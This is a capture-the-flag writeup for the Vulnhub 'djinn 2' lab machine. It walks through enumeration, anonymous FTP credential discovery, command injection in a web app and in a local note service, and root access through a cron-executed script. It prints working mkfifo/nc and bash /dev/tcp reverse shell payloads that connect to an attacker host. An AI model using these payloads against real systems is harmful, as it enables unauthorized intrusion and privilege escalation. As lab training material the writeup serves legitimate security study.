Vulnhub - djinn 2 Writeup

Hi all, let’s pwn this box.

You can find the machine there > djinn2

Let’s start as always with a nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ ip=192.168.1.4
$ nmap -sC -sV -p- -oN nmap.txt $ip
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 21:28 EEST
Nmap scan report for 192.168.1.4
Host is up (0.0013s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              14 Jan 12 04:26 creds.txt
| -rw-r--r--    1 0        0             280 Jan 19 14:10 game.txt
|_-rw-r--r--    1 0        0             275 Jan 19 14:12 message.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.1.13
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 22:3c:7f:28:79:44:01:ca:55:d2:48:6d:06:5d:cd:ac (RSA)
|   256 71:e4:82:a4:95:30:a0:47:d5:14:fe:3b:c0:10:6c:d8 (ECDSA)
|_  256 ce:77:48:33:be:27:98:4b:5e:4d:62:2f:a3:33:43:a7 (ED25519)
1337/tcp open  waste?
| fingerprint-strings: 
|   GenericLines: 
|     @0xmzfr, Thanks for hiring me.
|     Since I know how much you like to play game. I'm adding another game in this.
|     Math game
|     Catch em all
|     Exit
|     Stop acting like a hacker for a damn minute!!
|   NULL:    
|     @0xmzfr, Thanks for hiring me.
|     Since I know how much you like to play game. I'm adding another game in this.
|     Math game
|     Catch em all
|_    Exit
5000/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-server-header: Werkzeug/0.16.0 Python/3.6.9
|_http-title: 405 Method Not Allowed
7331/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-server-header: Werkzeug/0.16.0 Python/3.6.9
|_http-title: Lost in space
MAC Address: 00:0C:29:68:43:4C (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Lot of stuff to enumerate, let’s start with FTP since we have anonymous access. We can see lot of files, let’s download them all.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ftp $ip
Connected to 192.168.1.4.
220 (vsFTPd 3.0.3)
Name (192.168.1.4:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              14 Jan 12 04:26 creds.txt
-rw-r--r--    1 0        0             280 Jan 19 14:10 game.txt
-rw-r--r--    1 0        0             275 Jan 19 14:12 message.txt
226 Directory send OK.
ftp> prompt no
Interactive mode off.
ftp> mget . *
... data ..
ftp> exit

We got some creds, tried to ssh login with them but no luck. And 2 messages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cat creds.txt 
nitu:7846A$56
$ cat game.txt 
@0xmzfr I would like to thank you for hiring me. I won't disappoint you like SAM.
Also I've started implementing the secure way of authorizing the access to our 
network. I have provided @nitish81299 with the beta version of the key fob
hopes everything would be good.

- @Ugtan_
$ cat message.txt 
@nitish81299, you and sam messed it all up. I've fired sam for all the fuzz he created and 
this will be your last warning if you won't put your shit together than you'll be gone as well.
I've hired @Ugtan_ as our new security head, hope  he'll do something good.

- @0xmzfr

Let’s start the enumeration on port 7331, let’s run gobuster on it.

1
2
3
4
$ gobuster dir -q -u http://$ip:7331/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .php,.txt,.html -o gobuster.txt
/source (Status: 200)
/robots.txt (Status: 200)
/wish (Status: 200)

Source gives us a python code, i guess for port 5000 web app. Let’s download it.

1
$ wget -q http://192.168.1.4:7331/source; mv source source.py

Let’s analyze the code.

We can see this on the top of the script.

1
URL = "http://{}:5000/?username={}&password={}"

I used cURL to test for RCE, after some tries i got it.

1
2
$ curl -s -X POST "http://$ip:5000/?username=whoami&password=t"
www-data

Perfect, i coded a small RCE exploit for it, you can find it there : djinn exp

Got shell :

Now privesc, i found under /var/backups this .kdbx file.

kdbx = KeePass Password Database

You can install it it by running :

1
2
3
sudo apt-add-repository ppa:jtaylor/keepass
sudo apt-get update
sudo apt-get install keepass2 

Let’s download this file using base64.

1
2
www-data@djinn:/var/backups$ python3 -c 'print(__import__("base64").b64encode(open("nitu.kdbx","rb").read()))'
...base64 data...

Now save this into a .txt and do this :

1
2
3
$ base64 -d base64.txt > nitu.kdbx
$ file nitu.kdbx 
nitu.kdbx: Keepass password database 2.x KDBX

Perfect, who needs meterpreter ;-)

Let’s open the file now.

Use the password we found before on FTP -> nitu:7846A$56

Now we can login with SSH.

1
2
3
$ ssh nitish@$ip
nitish@192.168.1.4's password: 
nitish@djinn:~$

Perfect, now privesc is kinda tricky, let’s list the listening connections with netstat.

1
2
3
4
5
6
7
8
9
10
11
12
13
nitish@djinn:~$ netstat -tnl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:7331            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:1337            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:2843          0.0.0.0:*               LISTEN     
tcp6       0      0 :::21                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     

This seems interesting -> 127.0.0.1:2843

Let’s connect.

1
2
3
4
5
6
7
8
9
10
11
nitish@djinn:~$ nc localhost 2843
username: nitish
Password: &HtMGd$LJB
1. Show all members.
2. Add a new user.
3. Show all tasks.
4. Add a new task.
5. Add a note for admin.
6. Read notes.
7. Exit
=> 

I used the same creds, after some tries, i found a command injection vulnerability on 5. Add a note for admin. :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
=> 5

Name of the note: test;whoami
Description: test;whoami

Note added succesfully!

1. Show all members.
2. Add a new user.
3. Show all tasks.
4. Add a new task.
5. Add a note for admin.
6. Read notes.
7. Exit
=> 6
1 Important.txt
2 test;whoami

===> 2
cat: test: No such file or directory
test;whoami b'ugtan\n'

Perfect, we can get shell as ugtan, let’s simply add a reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
=> 5

Name of the note: lol; rm /tmp/t;mkfifo /tmp/t;cat /tmp/t|/bin/sh -i 2>&1|nc your_ip 6666 >/tmp/t
Description: lol; rm /tmp/t;mkfifo /tmp/t;cat /tmp/t|/bin/sh -i 2>&1|nc your_ip 6666 >/tmp/t

Note added succesfully!

1. Show all members.
2. Add a new user.
3. Show all tasks.
4. Add a new task.
5. Add a note for admin.
6. Read notes.
7. Exit
=> 6
1 Important.txt
2 lol; rm /tmp/t;mkfifo /tmp/t;cat /tmp/t|/bin/sh -i 2>&1|nc 192.168.1.13 6666 >/tmp/t

===> 2

We have shell!

1
2
3
$ nc -lvp 6666
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ugtan@djinn:/$

Now privesc to root is really simple, if we go to /var/mail we can read an email.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ugtan@djinn:/var/mail$ ls
ls
root  ugtan
ugtan@djinn:/var/mail$ cat ugtan
cat ugtan
From root@djinn  Mon Jan 13 19:36:24 2020
Return-Path: <root@djinn>
X-Original-To: ugtan@djinn
Delivered-To: ugtan@djinn
Received: by djinn (Postfix, from userid 0)
	id E2B7C82E9F; Mon, 13 Jan 2020 19:36:24 +0530 (IST)
Subject: Way to clean up the systems
To: <ugtan@djinn>
X-Mailer: mail (GNU Mailutils 3.4)
Message-Id: <20200113140624.E2B7C82E9F@djinn>
Date: Mon, 13 Jan 2020 19:36:24 +0530 (IST)
From: root <root@djinn>

Hey 0xmzfr,
I've setup the folder that you asked me to make in my home directory,
Since I'd be gone for a day or two you can just leave the clean.sh in
that directory and cronjob will handle the rest. 

- Ugtan_

We just have to create the clean.sh with our payload in.

1
2
3
ugtan@djinn:/home/ugtan/best/admin/ever$ touch clean.sh
touch clean.sh
ugtan@djinn:/home/ugtan/best/admin/ever$ echo "bash -i >& /dev/tcp/$your_ip/7777 0>&1" > clean.sh

Few seconds later..

1
2
3
4
5
$ nc -lvp 7777
root@djinn:~# whoami
whoami
root
root@djinn:~# 

Let’s read the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@djinn:~# bash proof.sh
bash proof.sh
TERM environment variable not set.
proof.sh: line 9: figlet: command not found
djinn-2 pwned...
__________________________________________________________________________

Proof: cHduZWQgZGppbm4tMiBsaWtlIGEgYm9zcwo=
Path: /root
Date: Tue May 26 00:52:15 IST 2020
Whoami: root
__________________________________________________________________________

By @0xmzfr

Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)

If you enjoyed this then consider donating (https://mzfr.github.io/donate/)
so I can continue to make these kind of challenges.

WHAT AN AWESOME BOX!! :D See you!